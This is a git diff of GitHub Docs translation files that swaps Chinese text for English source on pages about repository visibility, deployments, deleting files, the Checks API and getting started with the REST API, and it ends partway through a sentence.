将仓库设为公共 +### Making a repository public -* {% data variables.product.product_name %} 将会分离私有复刻并将它们变成独立的私有仓库。 更多信息请参阅“[删除仓库或更改其可见性时，复刻会发生什么变化？](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility#changing-a-private-repository-to-a-public-repository)”{% ifversion fpt or ghec %} -* 如果在创建开源项目时将私有仓库转换为公共仓库，请参阅[开放源码指南](http://opensource.guide)以了解有用的提示和指南。 您还可以通过 [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}) 免费学习管理开源项目的课程。 您的仓库设为公共后，您还可以查看仓库的社区资料以了解项目是否符合支持贡献者的最佳做法。 更多信息请参阅“[查看您的社区资料](/articles/viewing-your-community-profile)”。 -* 仓库将自动获得对 {% data variables.product.prodname_GH_advanced_security %} 功能的使用权限。 +* {% data variables.product.product_name %} will detach private forks and turn them into a standalone private repository. For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility#changing-a-private-repository-to-a-public-repository)"{% ifversion fpt or ghec %} +* If you're converting your private repository to a public repository as part of a move toward creating an open source project, see the [Open Source Guides](http://opensource.guide) for helpful tips and guidelines. You can also take a free course on managing an open source project with [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}). Once your repository is public, you can also view your repository's community profile to see whether your project meets best practices for supporting contributors. For more information, see "[Viewing your community profile](/articles/viewing-your-community-profile)." +* The repository will automatically gain access to {% data variables.product.prodname_GH_advanced_security %} features. -有关改善仓库安全性的信息，请参阅“[保护仓库](/code-security/getting-started/securing-your-repository)”。{% endif %} +For information about improving repository security, see "[Securing your repository](/code-security/getting-started/securing-your-repository)."{% endif %} {% endif %} -## 更改仓库的可见性 +## Changing a repository's visibility {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} -3. 在“Danger Zone（危险区域）”下的“Change repository visibility（更改仓库可见性）”右侧，单击 **Change visibility（更改可见性）**。 ![更改可见性按钮](/assets/images/help/repository/repo-change-vis.png) -4. 选择可见性。 +3. Under "Danger Zone", to the right of to "Change repository visibility", click **Change visibility**. + ![Change visibility button](/assets/images/help/repository/repo-change-vis.png) +4. Select a visibility. {% ifversion fpt or ghec %} - ![仓库可见性选项对话框](/assets/images/help/repository/repo-change-select.png){% else %} -![Dialog of options for repository visibility](/assets/images/enterprise/repos/repo-change-select.png){% endif %} -5. 要验证您是否正在更改正确仓库的可见性，请键入您想要更改其可见性的仓库名称。 -6. 单击 **I understand, change repository visibility（我了解，更改仓库可见性）**。 + ![Dialog of options for repository visibility](/assets/images/help/repository/repo-change-select.png){% else %} + ![Dialog of options for repository visibility](/assets/images/enterprise/repos/repo-change-select.png){% endif %} +5. To verify that you're changing the correct repository's visibility, type the name of the repository you want to change the visibility of. +6. Click **I understand, change repository visibility**. {% ifversion fpt or ghec %} - ![确认更改仓库可见性按钮](/assets/images/help/repository/repo-change-confirm.png){% else %} -![Confirm change of repository visibility button](/assets/images/enterprise/repos/repo-change-confirm.png){% endif %} + ![Confirm change of repository visibility button](/assets/images/help/repository/repo-change-confirm.png){% else %} + ![Confirm change of repository visibility button](/assets/images/enterprise/repos/repo-change-confirm.png){% endif %} -## 延伸阅读 +## Further reading - "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)" diff --git a/translations/zh-CN/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md b/translations/zh-CN/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md index 91d0936095..2ded74c394 100644 --- a/translations/zh-CN/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md +++ b/translations/zh-CN/content/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository.md @@ -1,6 +1,6 @@ --- -title: 查看仓库的部署活动 -intro: 您可以查看整个仓库或特定拉取请求的部署相关信息。 +title: Viewing deployment activity for your repository +intro: You can view information about deployments for your entire repository or a specific pull request. redirect_from: - /articles/viewing-deployment-activity-for-your-repository - /github/administering-a-repository/viewing-deployment-activity-for-your-repository @@ -12,23 +12,23 @@ versions: ghec: '*' topics: - Repositories -shortTitle: 查看部署活动 +shortTitle: View deployment activity --- - {% note %} -**注：**部署仪表板目前处于测试阶段，可能会发生变化。 +**Note:** The deployments dashboard is currently in beta and subject to change. {% endnote %} -如果仓库的部署工作流程通过 Deployments API 或来自 [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace/category/deployment) 的应用程序与 {% data variables.product.product_name %} 集成，则具有读取权限的人员可以查看所有当前部署的概览以及过去部署活动的日志。 更多信息请参阅“[部署](/rest/reference/repos#deployments)”。 +People with read access to a repository can see an overview of all current deployments and a log of past deployment activity, if the repository's deployment workflow is integrated with {% data variables.product.product_name %} through the Deployments API or an app from [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace/category/deployment). For more information, see "[Deployments](/rest/reference/repos#deployments)." -您还可以在拉取请求的“Conversation（对话）”选项卡中查看部署信息。 +You can also see deployment information on the "Conversation" tab of a pull request. -## 查看部署仪表板 +## Viewing the deployments dashboard {% data reusables.repositories.navigate-to-repo %} -2. To the right of the list of files, click **Environments**. ![Environments on the right of the repository page](/assets/images/help/repository/environments.png) +2. To the right of the list of files, click **Environments**. +![Environments on the right of the repository page](/assets/images/help/repository/environments.png) -## 延伸阅读 - - "[关于拉取请求](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)" +## Further reading + - "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)" diff --git a/translations/zh-CN/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md b/translations/zh-CN/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md index 144c38f7e7..1f83068935 100644 --- a/translations/zh-CN/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md +++ b/translations/zh-CN/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md @@ -1,6 +1,6 @@ --- -title: 删除仓库中的文件 -intro: '您可以删除 {% data variables.product.product_name %} 仓库中的单个文件{% ifversion fpt or ghes > 3.0 or ghec %}或整个目录{% endif %}。' +title: Deleting files in a repository +intro: 'You can delete an individual file{% ifversion fpt or ghes > 3.0 or ghec %} or an entire directory{% endif %} in your repository on {% data variables.product.product_name %}.' redirect_from: - /articles/deleting-files - /github/managing-files-in-a-repository/deleting-files @@ -15,32 +15,32 @@ versions: permissions: 'People with write permissions can delete files{% ifversion fpt or ghes > 3.0 or ghec %} or directories{% endif %} in a repository.' topics: - Repositories -shortTitle: 删除文件 +shortTitle: Delete files --- +## About file{% ifversion fpt or ghes > 3.0 or ghec %} and directory{% endif %} deletion -## 关于文件{% ifversion fpt or ghes > 3.0 or ghec %}和目录{% endif %}删除 +You can delete an individual file in your repository{% ifversion fpt or ghes > 3.0 or ghec %} or an entire directory, including all the files in the directory{% endif %}. -您可以删除仓库中的单个文件{% ifversion fpt or ghes > 3.0 or ghec %}或整个目录，包括目录中的所有文件{% endif %}。 +If you try to delete a file{% ifversion fpt or ghes > 3.0 or ghec %} or directory{% endif %} in a repository that you don’t have write permissions to, we'll fork the project to your user account and help you send a pull request to the original repository after you commit your change. For more information, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)." -如果您尝试在您没有写入权限的仓库中删除文件{% ifversion fpt or ghes > 3.0 or ghec %} 或目录{% endif %}，我们会将项目复刻到您的用户帐户，并在您提交更改后帮助您向原始仓库发送拉取请求。 更多信息请参阅“[关于拉取请求](/github/collaborating-with-issues-and-pull-requests/about-pull-requests)”。 +If the file{% ifversion fpt or ghes > 3.0 or ghec %} or directory{% endif %} you deleted contains sensitive data, the data will still be available in the repository's Git history. To completely remove the file from {% data variables.product.product_name %}, you must remove the file from your repository's history. For more information, see "[Removing sensitive data from a repository](/github/authenticating-to-github/removing-sensitive-data-from-a-repository)." -如果您删除的文件{% ifversion fpt or ghes > 3.0 or ghec %}或目录{% endif %}包含敏感数据，则该数据仍然可以在仓库的 Git 历史记录中访问。 要从 {% data variables.product.product_name %} 中彻底删除文件，您必须从仓库的历史记录中删除该文件。 更多信息请参阅“[从仓库中删除敏感数据](/github/authenticating-to-github/removing-sensitive-data-from-a-repository)”。 +## Deleting a file -## 删除文件 - -1. 浏览到要删除仓库中的文件。 -2. 在文件顶部，单击 {% octicon "trash" aria-label="The trash icon" %}。 +1. Browse to the file in your repository that you want to delete. +2. At the top of the file, click {% octicon "trash" aria-label="The trash icon" %}. {% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %} {% ifversion fpt or ghes > 3.0 or ghec %} -## 删除目录 +## Deleting a directory -1. 浏览到仓库中要删除的目录。 -1. 在右上角，单击 {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}，然后单击 **Delete directory（删除目录）**。 ![删除目录的按钮](/assets/images/help/repository/delete-directory-button.png) -1. 审查要删除的文件。 +1. Browse to the directory in your repository that you want to delete. +1. In the top-right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Delete directory**. + ![Button to delete a directory](/assets/images/help/repository/delete-directory-button.png) +1. Review the files you will delete. {% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} diff --git a/translations/zh-CN/content/rest/guides/discovering-resources-for-a-user.md b/translations/zh-CN/content/rest/guides/discovering-resources-for-a-user.md index 46321ad4c8..74f1211882 100644 --- a/translations/zh-CN/content/rest/guides/discovering-resources-for-a-user.md +++ b/translations/zh-CN/content/rest/guides/discovering-resources-for-a-user.md @@ -1,6 +1,6 @@ --- -title: 为用户发现资源 -intro: 了解如何通过向 REST API 发出经过身份验证的请求，找到您的应用程序能够为用户可靠地访问的仓库和组织。 +title: Discovering resources for a user +intro: Learn how to find the repositories and organizations that your app can access for a user in a reliable way for your authenticated requests to the REST API. redirect_from: - /guides/discovering-resources-for-a-user/ - /v3/guides/discovering-resources-for-a-user @@ -11,26 +11,26 @@ versions: ghec: '*' topics: - API -shortTitle: 为用户发现资源 +shortTitle: Discover resources for a user --- - -向 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 发出经过身份验证的请求时，应用程序通常需要获取当前用户的仓库和组织。 在本指南中，我们将介绍如何可靠地发现这些资源。 -由于我们在与 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 进行交互，因此我们将使用 [Octokit.rb][octokit.rb]。 您可以在[平台样本][platform samples]仓库中找到此项目的完整源代码。 +When making authenticated requests to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, applications often need to fetch the current user's repositories and organizations. In this guide, we'll explain how to reliably discover those resources. -## 入门指南 +To interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using [Octokit.rb][octokit.rb]. You can find the complete source code for this project in the [platform-samples][platform samples] repository. -在完成以下示例之前，您应该阅读[“身份验证基础知识”][basics-of-authentication]指南（如果尚未阅读）。 下面的示例假定您[已注册 OAuth 应用程序][register-oauth-app]，并且您的[应用程序具有用户的 OAuth 令牌][make-authenticated-request-for-user]。 +## Getting started -## 发现您的应用程序能够为用户访问的仓库 +If you haven't already, you should read the ["Basics of Authentication"][basics-of-authentication] guide before working through the examples below. The examples below assume that you have [registered an OAuth application][register-oauth-app] and that your [application has an OAuth token for a user][make-authenticated-request-for-user]. -用户除了拥有他们自己的个人仓库之外，可能还是其他用户和组织所拥有仓库上的协作者。 总的来说，这些仓库是用户有权访问的仓库：要么是用户具有读取或写入权限的私有仓库，要么是用户具有写入权限的{% ifversion not ghae %}公共{% else %}内部{% endif %}仓库。 +## Discover the repositories that your app can access for a user -[OAuth 作用域][scopes]和[组织应用程序策略][oap]决定了您的应用程序可以为用户访问其中哪些仓库。 使用下面的工作流程来发现这些仓库。 +In addition to having their own personal repositories, a user may be a collaborator on repositories owned by other users and organizations. Collectively, these are the repositories where the user has privileged access: either it's a private repository where the user has read or write access, or it's {% ifversion fpt %}a public{% elsif ghec or ghes %}a public or internal{% elsif ghae %}an internal{% endif %} repository where the user has write access. -如往常一样，首先我们需要 [GitHub 的 Octokit.rb][octokit.rb] Ruby 库。 然后我们将配置 Octoberkit.rb，使其为我们自动处理[分页][pagination]。 +[OAuth scopes][scopes] and [organization application policies][oap] determine which of those repositories your app can access for a user. Use the workflow below to discover those repositories. + +As always, first we'll require [GitHub's Octokit.rb][octokit.rb] Ruby library. Then we'll configure Octokit.rb to automatically handle [pagination][pagination] for us. ``` ruby require 'octokit' @@ -38,7 +38,7 @@ require 'octokit' Octokit.auto_paginate = true ``` -接下来，我们将[为给定用户传递应用程序的 OAuth 令牌][make-authenticated-request-for-user]。 +Next, we'll pass in our application's [OAuth token for a given user][make-authenticated-request-for-user]: ``` ruby # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! @@ -46,7 +46,7 @@ Octokit.auto_paginate = true client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"] ``` -然后，我们可以获取[应用程序可以为用户访问的仓库][list-repositories-for-current-user]： +Then, we're ready to fetch the [repositories that our application can access for the user][list-repositories-for-current-user]: ``` ruby client.repositories.each do |repository| @@ -63,11 +63,11 @@ client.repositories.each do |repository| end ``` -## 发现您的应用程序能够为用户访问的组织 +## Discover the organizations that your app can access for a user -应用程序可以为用户执行各种与组织相关的任务。 要执行这些任务，应用程序需要具有足够权限的 [OAuth 授权][scopes]。 例如，`read:org` 作用域允许您[列出团队][list-teams]，`user` 作用域允许您[公开用户的组织成员身份][publicize-membership]。 一旦用户将其中一个或多个作用域授予您的应用程序，您就可以获取用户的组织。 +Applications can perform all sorts of organization-related tasks for a user. To perform these tasks, the app needs an [OAuth authorization][scopes] with sufficient permission. For example, the `read:org` scope allows you to [list teams][list-teams], and the `user` scope lets you [publicize the user’s organization membership][publicize-membership]. Once a user has granted one or more of these scopes to your app, you're ready to fetch the user’s organizations. -与上述发现仓库的过程一样，我们首先需要 [GitHub 的 Octokit.rb][octokit.rb] Ruby 库，并配置它为我们处理[分页][pagination]： +Just as we did when discovering repositories above, we'll start by requiring [GitHub's Octokit.rb][octokit.rb] Ruby library and configuring it to take care of [pagination][pagination] for us: ``` ruby require 'octokit' @@ -75,7 +75,7 @@ require 'octokit' Octokit.auto_paginate = true ``` -接下来，我们将[为给定用户传递应用程序的 OAuth 令牌][make-authenticated-request-for-user]，以初始化 API 客户端： +Next, we'll pass in our application's [OAuth token for a given user][make-authenticated-request-for-user] to initialize our API client: ``` ruby # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! @@ -83,7 +83,7 @@ Octokit.auto_paginate = true client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"] ``` -然后，我们可以获取[应用程序可以为用户访问的组织][list-orgs-for-current-user]： +Then, we can [list the organizations that our application can access for the user][list-orgs-for-current-user]: ``` ruby client.organizations.each do |organization| @@ -91,11 +91,11 @@ client.organizations.each do |organization| end ``` -### 返回用户的所有组织成员资格 +### Return all of the user's organization memberships -如果您从头到尾阅读了文档，您可能会注意到一种[允许列出用户的公共组织成员身份的 API 方法][list-public-orgs]。 大多数应用程序应避免使用这种 API 方法。 此方法仅返回用户的公共组织成员身份，而不会返回其私有组织成员身份。 +If you've read the docs from cover to cover, you may have noticed an [API method for listing a user's public organization memberships][list-public-orgs]. Most applications should avoid this API method. This method only returns the user's public organization memberships, not their private organization memberships. -作为应用程序开发者，您通常希望您的应用程序被授权访问用户的所有组织。 上述工作流程恰好能满足您的要求。 +As an application, you typically want all of the user's organizations that your app is authorized to access. The workflow above will give you exactly that. [basics-of-authentication]: /rest/guides/basics-of-authentication [list-public-orgs]: /rest/reference/orgs#list-organizations-for-a-user @@ -103,13 +103,10 @@ end [list-orgs-for-current-user]: /rest/reference/orgs#list-organizations-for-the-authenticated-user [list-teams]: /rest/reference/teams#list-teams [make-authenticated-request-for-user]: /rest/guides/basics-of-authentication#making-authenticated-requests -[make-authenticated-request-for-user]: /rest/guides/basics-of-authentication#making-authenticated-requests [oap]: https://developer.github.com/changes/2015-01-19-an-integrators-guide-to-organization-application-policies/ [octokit.rb]: https://github.com/octokit/octokit.rb -[octokit.rb]: https://github.com/octokit/octokit.rb [pagination]: /rest#pagination [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/discovering-resources-for-a-user [publicize-membership]: /rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user [register-oauth-app]: /rest/guides/basics-of-authentication#registering-your-app [scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/ -[scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/ diff --git a/translations/zh-CN/content/rest/guides/getting-started-with-the-checks-api.md b/translations/zh-CN/content/rest/guides/getting-started-with-the-checks-api.md index 3d67e9df2e..11f50ee872 100644 --- a/translations/zh-CN/content/rest/guides/getting-started-with-the-checks-api.md +++ b/translations/zh-CN/content/rest/guides/getting-started-with-the-checks-api.md @@ -1,6 +1,6 @@ --- -title: 检查 API 入门指南 -intro: 检查运行 API 使您能够构建 GitHub 应用程序，以针对仓库中的代码更改运行强大的检查。 您可以创建应用程序以执行持续集成 、代码分析或代码扫描服务，并提供有关提交的详细反馈。 +title: Getting started with the Checks API +intro: 'The Check Runs API enables you to build GitHub Apps that run powerful checks against code changes in a repository. You can create apps that perform continuous integration, code linting, or code scanning services and provide detailed feedback on commits.' versions: fpt: '*' ghes: '*' @@ -8,65 +8,60 @@ versions: ghec: '*' topics: - API -shortTitle: 开始 - 检查 API +shortTitle: Get started - Checks API --- -## 概览 +## Overview -GitHub 应用程序可以报告丰富的状态信息、提供详细的代码行注释以及重新运行测试，而不是提供二进制的通过/失败构建状态。 Checks API 功能专用于您的 GitHub 应用程序。 +Rather than binary pass/fail build statuses, GitHub Apps can report rich statuses, annotate lines of code with detailed information, and re-run tests. The Checks API functionality is available exclusively to your GitHub Apps. -关于如何将检查 API 用于 {% data variables.product.prodname_github_app %} 的示例，请参阅“[使用检查 API 创建 CI 测试](/apps/quickstart-guides/creating-ci-tests-with-the-checks-api/)”。 +For an example of how to use the Checks API with a {% data variables.product.prodname_github_app %}, see "[Creating CI tests with the Checks API](/apps/quickstart-guides/creating-ci-tests-with-the-checks-api/)." -## 关于检查套件 +## About check suites -当有人向仓库推送代码时，GitHub 会为最新的提交创建一个检查套件。 检查套件是单个 GitHub 应用程序为特定提交而创建的[检查运行](/rest/reference/checks#check-runs)的集合。 检查套件汇总了套件所含检查运行的状态和结论。 +When someone pushes code to a repository, GitHub creates a check suite for the last commit. A check suite is a collection of the [check runs](/rest/reference/checks#check-runs) created by a single GitHub App for a specific commit. Check suites summarize the status and conclusion of the check runs that a suite includes. -![检查套件工作流程](/assets/images/check_suites.png) +![Check suites workflow](/assets/images/check_suites.png) -检查套件在其 `conclusion` 中报告优先级最高的检查运行 `conclusion` 。 例如，如果三个检查运行的结论分别为 `timed_out`、`success` 和 `neutral`，则检查套件的结论将为 `timed_out`。 +The check suite reports the highest priority check run `conclusion` in the check suite's `conclusion`. For example, if three check runs have conclusions of `timed_out`, `success`, and `neutral` the check suite conclusion will be `timed_out`. -默认情况下，当代码被推送到仓库时，GitHub 会自动创建一个检查套件。 此默认流程会将 `check_suite` 事件（使用 `requested` 操作）发送到具有 `checks:write` 权限的所有 GitHub 应用程序。 当您的 GitHub 应用程序收到 `check_suite` 事件时，它可以为最新的提交创建新的检查运行。 GitHub 根据检查运行的仓库和 SHA，自动将新的检查运行添加到适当的[检查套件](/rest/reference/checks#check-suites)中。 +By default, GitHub creates a check suite automatically when code is pushed to the repository. This default flow sends the `check_suite` event (with `requested` action) to all GitHub App's that have the `checks:write` permission. When your GitHub App receives the `check_suite` event, it can create new check runs for the latest commit. GitHub automatically adds new check runs to the correct [check suite](/rest/reference/checks#check-suites) based on the check run's repository and SHA. -如果您不想使用默认的自动流程，您可以控制何时创建检查套件。 要更改用于创建检查套件的默认设置，请使用[更新检查套件的仓库首选项](/rest/reference/checks#update-repository-preferences-for-check-suites)端点。 对自动流程设置的所有更改都被记录在仓库的审核日志中。 如果您禁用了自动流程，您可以使用[创建检查套件](/rest/reference/checks#create-a-check-suite)端点来创建一个检查套件。 您应该继续使用[创建检查运行](/rest/reference/checks#create-a-check-run)端点来提供对提交的反馈。 +If you don't want to use the default automatic flow, you can control when you create check suites. To change the default settings for the creation of check suites, use the [Update repository preferences for check suites](/rest/reference/checks#update-repository-preferences-for-check-suites) endpoint. All changes to the automatic flow settings are recorded in the audit log for the repository. If you have disabled the automatic flow, you can create a check suite using the [Create a check suite](/rest/reference/checks#create-a-check-suite) endpoint. You should continue to use the [Create a check run](/rest/reference/checks#create-a-check-run) endpoint to provide feedback on a commit. {% data reusables.apps.checks-availability %} -要使用检查套件 API，GitHub 应用程序必须具有 `checks:write` 权限并且可以订阅 [check_suite](/webhooks/event-payloads/#check_suite) web 挂钩。 +To use the check suites API, the GitHub App must have the `checks:write` permission and can also subscribe to the [check_suite](/webhooks/event-payloads/#check_suite) webhook. {% data reusables.shortdesc.authenticating_github_app %} -## 关于检查运行 +## About check runs -检查运行是检查套件中的单个测试。 每个运行都包含状态和结论。 +A check run is an individual test that is part of a check suite. Each run includes a status and conclusion. -![检查运行工作流程](/assets/images/check_runs.png) +![Check runs workflow](/assets/images/check_runs.png) {% ifversion fpt or ghes or ghae or ghec %} -如果检查运行处于未完成状态超过 14 天，则检查运行的 `conclusion` 将变成 `stale`，并且通过 -{% octicon "issue-reopened" aria-label="The issue-reopened icon" %} 在 {% data variables.product.prodname_dotcom %} 上显示为 stale（过时）。 只有 {% data variables.product.prodname_dotcom %} 可以将检查运行标记为 `stale`。 有关检查运行之可能结论的更多信息，请参阅 [`conclusion` 参数](/rest/reference/checks#create-a-check-run--parameters)。 +If a check run is in a incomplete state for more than 14 days, then the check run's `conclusion` becomes `stale` and appears on {% data variables.product.prodname_dotcom %} as stale with {% octicon "issue-reopened" aria-label="The issue-reopened icon" %}. Only {% data variables.product.prodname_dotcom %} can mark check runs as `stale`. For more information about possible conclusions of a check run, see the [`conclusion` parameter](/rest/reference/checks#create-a-check-run--parameters). {% endif %} -一旦收到 [`check_suite`](/webhooks/event-payloads/#check_suite) web 挂钩，您即可创建检查运行，即使检查尚未完成。 您可以在检查运行完成时使用值 `queued`、`in_progress` 或 `completed` 来更新其 `status`， 并且可以在更多详细信息可用时更新 `output`。 检查运行可以包含时间戳、指向外部站点上更多详细信息的链接、特定代码行的详细注释以及有关所执行分析的信息。 +As soon as you receive the [`check_suite`](/webhooks/event-payloads/#check_suite) webhook, you can create the check run, even if the check is not complete. You can update the `status` of the check run as it completes with the values `queued`, `in_progress`, or `completed`, and you can update the `output` as more details become available. A check run can contain timestamps, a link to more details on your external site, detailed annotations for specific lines of code, and information about the analysis performed. + +![Check run annotation](/assets/images/check_run_annotations.png) -![检查运行注释](/assets/images/check_run_annotations.png) - -还可以在 GitHub UI 中手动重新运行检查。 更多信息请参阅“[关于状态检查](/articles/about-status-checks#checks)”。 发生这种情况时，创建检查运行的 GitHub 应用程序将收到请求新检查运行的 [`check_run`](/webhooks/event-payloads/#check_run) web 挂钩。 如果您创建检查运行时没有创建检查套件，GitHub 将自动为您创建检查套件。 +A check can also be manually re-run in the GitHub UI. See "[About status checks](/articles/about-status-checks#checks)" for more details. When this occurs, the GitHub App that created the check run will receive the [`check_run`](/webhooks/event-payloads/#check_run) webhook requesting a new check run. If you create a check run without creating a check suite, GitHub creates the check suite for you automatically. {% data reusables.apps.checks-availability %} -要使用检查运行 API，GitHub 应用程序必须具有 `checks:write` 权限并且可以订阅 [ccheck_run](/webhooks/event-payloads#check_run) web 挂钩。 +To use the Check Runs API, the GitHub App must have the `checks:write` permission and can also subscribe to the [check_run](/webhooks/event-payloads#check_run) webhook. -## 检查运行和请求的操作 +## Check runs and requested actions -在设置带有请求操作（不要与 {% data variables.product.prodname_actions %} 混淆）的检查运行时，您可以在 {% data variables.product.prodname_dotcom %} 上的拉取请求视图中显示一个按钮，以允许用户请求您的 {% data variables.product.prodname_github_app %} 执行额外任务。 - -例如，代码分析应用程序可以使用请求的操作在拉取请求中显示一个按钮，以自动修复检测到的语法错误。 - -要创建可从您的程序请求额外操作的按钮，请在[创建检查运行](/rest/reference/checks/#create-a-check-run)时使用 - -`actions` 对象。 例如，下面的 `actions` 对象在拉取请求中显示一个按钮，标签为“Fix this（修复此问题）”。 该按钮在检查运行完成后显示。 +When you set up a check run with requested actions (not to be confused with {% data variables.product.prodname_actions %}), you can display a button in the pull request view on {% data variables.product.prodname_dotcom %} that allows people to request your {% data variables.product.prodname_github_app %} to perform additional tasks. +For example, a code linting app could use requested actions to display a button in a pull request to automatically fix detected syntax errors. +To create a button that can request additional actions from your app, use the [`actions` object](/rest/reference/checks#create-a-check-run--parameters) when you [Create a check run](/rest/reference/checks/#create-a-check-run). For example, the `actions` object below displays a button in a pull request with the label "Fix this." The button appears after the check run completes. ```json "actions": [{ @@ -75,10 +70,9 @@ GitHub 应用程序可以报告丰富的状态信息、提供详细的代码行 "identifier": "fix_errors" }] ``` -

                    -![检查运行请求操作按钮](/assets/images/github-apps/github_apps_checks_fix_this_button.png) + ![Check run requested action button](/assets/images/github-apps/github_apps_checks_fix_this_button.png) -当用户单击该按钮时，{% data variables.product.prodname_dotcom %} 会将 [`check_run.requested_action` web 挂钩](/webhooks/event-payloads/#check_run)发送到您的应用程序。 当您的应用程序收到 `check_run.requested_action` web 挂钩事件时，它可以在 web 挂钩有效负载中查找 `requested_action.identifier` 键，以确定单击了哪个按钮，并执行请求的任务。 +When a user clicks the button, {% data variables.product.prodname_dotcom %} sends the [`check_run.requested_action` webhook](/webhooks/event-payloads/#check_run) to your app. When your app receives a `check_run.requested_action` webhook event, it can look for the `requested_action.identifier` key in the webhook payload to determine which button was clicked and perform the requested task. -关于如何使用检查 API 设置请求操作的详细示例，请参阅“[使用检查 API 创建 CI 测试](/apps/quickstart-guides/creating-ci-tests-with-the-checks-api/#part-2-creating-the-octo-rubocop-ci-test)”。 +For a detailed example of how to set up requested actions with the Checks API, see "[Creating CI tests with the Checks API](/apps/quickstart-guides/creating-ci-tests-with-the-checks-api/#part-2-creating-the-octo-rubocop-ci-test)." diff --git a/translations/zh-CN/content/rest/guides/getting-started-with-the-rest-api.md b/translations/zh-CN/content/rest/guides/getting-started-with-the-rest-api.md index b8cb66aede..74ab5b1968 100644 --- a/translations/zh-CN/content/rest/guides/getting-started-with-the-rest-api.md +++ b/translations/zh-CN/content/rest/guides/getting-started-with-the-rest-api.md @@ -1,6 +1,6 @@ --- -title: REST API 入门指南 -intro: 从身份验证和一些端点示例开始，了解使用 REST API 的基础。 +title: Getting started with the REST API +intro: 'Learn the foundations for using the REST API, starting with authentication and some endpoint examples.' redirect_from: - /guides/getting-started/ - /v3/guides/getting-started @@ -11,23 +11,28 @@ versions: ghec: '*' topics: - API -shortTitle: 开始 - REST API +shortTitle: Get started - REST API --- -让我们逐步了解在处理一些日常用例时涉及的核心 API 概念。 +Let's walk through core API concepts as we tackle some everyday use cases. {% data reusables.rest-api.dotcom-only-guide-note %} -## 概览 +## Overview -大多数应用程序将使用您选择的语言 中现有的 [wrapper 库][wrappers]，但您必须先熟悉基础 API HTTP 方法。 +Most applications will use an existing [wrapper library][wrappers] in the language +of your choice, but it's important to familiarize yourself with the underlying API +HTTP methods first. -没有比使用 [cURL][curl] 更容易的入手方式了。{% ifversion fpt or ghec %} 如果您使用其他客户的，请注意，您需要在请求中发送有效的 [用户代理标头](/rest/overview/resources-in-the-rest-api#user-agent-required)。{% endif %} +There's no easier way to kick the tires than through [cURL][curl].{% ifversion fpt or ghec %} If you are using +an alternative client, note that you are required to send a valid +[User Agent header](/rest/overview/resources-in-the-rest-api#user-agent-required) in your request.{% endif %} ### Hello World -让我们先测试设置。 打开命令提示符并输入以下命令： +Let's start by testing our setup. Open up a command prompt and enter the +following command: ```shell $ curl https://api.github.com/zen @@ -35,9 +40,9 @@ $ curl https://api.github.com/zen > Keep it logically awesome. ``` -响应将是我们设计理念中的随机选择。 +The response will be a random selection from our design philosophies. -接下来，我们 `GET` [Chris Wanstrath 的][defunkt github] [GitHub 资料][users api]： +Next, let's `GET` [Chris Wanstrath's][defunkt github] [GitHub profile][users api]: ```shell # GET /users/defunkt @@ -55,12 +60,12 @@ $ curl https://api.github.com/users/defunkt > } ``` -嗯，有点像 [JSON][json]。 我们来添加 `-i` 标志以包含标头： +Mmmmm, tastes like [JSON][json]. Let's add the `-i` flag to include headers: ```shell $ curl -i https://api.github.com/users/defunkt -> HTTP/2 200 +> HTTP/2 200 > server: GitHub.com > date: Thu, 08 Jul 2021 07:04:08 GMT > content-type: application/json; charset=utf-8 @@ -99,64 +104,75 @@ $ curl -i https://api.github.com/users/defunkt > } ``` -响应标头中有一些有趣的地方。 果然，`Content-Type` 为 `application/json`。 +There are a few interesting bits in the response headers. As expected, the +`Content-Type` is `application/json`. -任何以 `X-` 开头的标头都是自定义标头，不包含在 HTTP 规范中。 例如： +Any headers beginning with `X-` are custom headers, and are not included in the +HTTP spec. For example: -* `X-GitHub-Media-Type` 的值为 `github.v3`。 这让我们知道响应的[媒体类型][media types]。 媒体类型帮助我们在 API v3 中对输出进行版本控制。 我们稍后再详细讨论。 -* 请注意 `X-RateLimit-Limit` 和 `X-RateLimit-Remaining` 